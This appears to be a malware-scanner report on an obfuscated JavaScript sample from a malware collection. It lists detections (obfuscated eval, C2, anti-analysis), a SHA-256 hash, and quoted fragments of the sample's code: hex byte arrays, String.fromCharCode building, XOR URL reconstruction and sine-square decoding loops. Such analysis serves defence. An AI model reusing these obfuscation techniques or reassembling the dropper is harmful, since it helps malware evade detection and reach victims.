Suspicious ^80% javascript-malware-collection Download

20151217_e3f028bf17f5856bf3eba07a5afd0a98.js

Obfuscated eval, C2, anti-analysis

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256270404fb32fbfda0ac6185fe6f52714a6643b6c3b0d8465bbf6b6b54c2501592

Evidence

0xff hex byte token line 1

1:199… xc1,0xc7,0xcc,0xce,0xd6,0xdb,0xdd,0xe2,0xe9,0xec,0xf3,0xf6,0xfe,0xff,0x104,0x10a,0x10f,0x113,0x11b,0x121,0x123,0x12a,0x12c,0x131,0x139,0x13d,0x142,0x147,0x14b,0x152,0x156,0x15d,0x15f,0x164,0x16b,0 …

Builds characters with String.fromCharCode line 2

2:154… '[','N','B',',','r','f','U',']','%','E','v','[','Z','=','%','8',String.fromCharCode(10),'S','Z','@','@','x','s','Q','B','h','7','.','[','c','z','z','L',String.fromCharCode(13),'k','^','_','E','d','Z','Z','L','$','B','N','R','A','M','=','G','O','2','G','G','l','A','%','K','7','P',':','e','C','T',']','H','x','6 …

XOR URL reconstruction call line 2

2:1854… 'Y','*','o','a',';','^','q','Z','_','[','.','=','V','[','H',':',String.fromCharCode(92),'8','4',']',']','P','6','m','l','"','5','Z','^','N','7','_','W','O','=','$','7','H','`','a','u','g','6','r','!','q','A','a','b','c','6','u',')',':','`','T','l','&','d','C','e …

Dense indexed short-token grid lines 12–13

12:33… zrHJAjc,BxNtGogISDx) {cdyFLkdbKWvgNH[zIdQwqzrHJAjc]=BxNtGogISDx;}
13var h = new Array();h[0]=[];h[0][0]='d';h[0][1]='a';h[0][2]='d';h[0][3]='a';h[0][4]='46';h[0][5]='3d';h[0][6]='42';h[0][7]='14';h[0][8]='2j';h[0][9]='14';h[0][10]='25';h[0][11]='14';h[0][12]='16';h[0][13]='47';h[0][14]='3k';h[0][15]='3d';h[0][16]='44';h[0][17]='3g';h[0][18]='3l';h[0][19]='3g';h[0][20]='49';h[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],h[4],h[5]];
20var WUvPBhXrf=[];
21function JKcFkQcbuAEwmyPPz(ExPzu){ioffoFLelhR= '';kJjRHEBSbgr=Math.round((Math.pow(Math.sin(565), 2) + Math.pow(Math.cos(565), 2) - 1));while(true){if (kJjRHEBSbgr >= (2821+587)/568){break;}WUvPBhXrf[kJjRHEBSbgr]=Math.round((Math.pow(Math.sin(418), 2) + Math.pow(Math.cos(418), 2) - 1)); while(true) { if(WUvPBhXrf[kJjRHEBSbgr] > ExPzu[kJjRHEBSbgr].length-(419+234)/653) { break; } if (VUDHBqE(qYNJb(ExPzu[kJjRHEBSbgr][WUvPBhXrf[kJjRHEBSbgr]],(23618+350)/856,(7510+870)/838))) {ioffoFLelhR += OSpMVzkNHaoLituTNFkQfjCxjRqFFHHMgdMvjUXKziJEceHveHdnXH([ExPzu[kJjRHEBSbgr][WUvPBhXrf[kJjRHEBSbgr]]], Math.round((Math.pow(Math.sin(58), 2) + Math.pow(Math.cos(58), 2) - 1)));} WUvPBhXrf[kJjRHEBSbgr]++;}kJjRHEBSbgr++;} return ioffoFLelhR}
22var NApUYCfWkDqYMmSCBygxfhKQRhuuTRDCq = 'gcaFAzQDbveCDoleleCybnluonNFHJUFAfGc';var QPWJTSbMoDzahyWzQhZDXjdQeXsRygIQ = 'NvJUhcOpZtPXDJyFfPwRSENsHfrNbBtLieDh';QXJuoBDyQTXGtLj(JKcFkQcbuAEwmyPPz(ExPzu),NApUYCfWkDqYMmSCBygxfhKQRhuuTRDCq,QPWJTSbMoDzahyWzQhZDXjdQeXsRygIQ);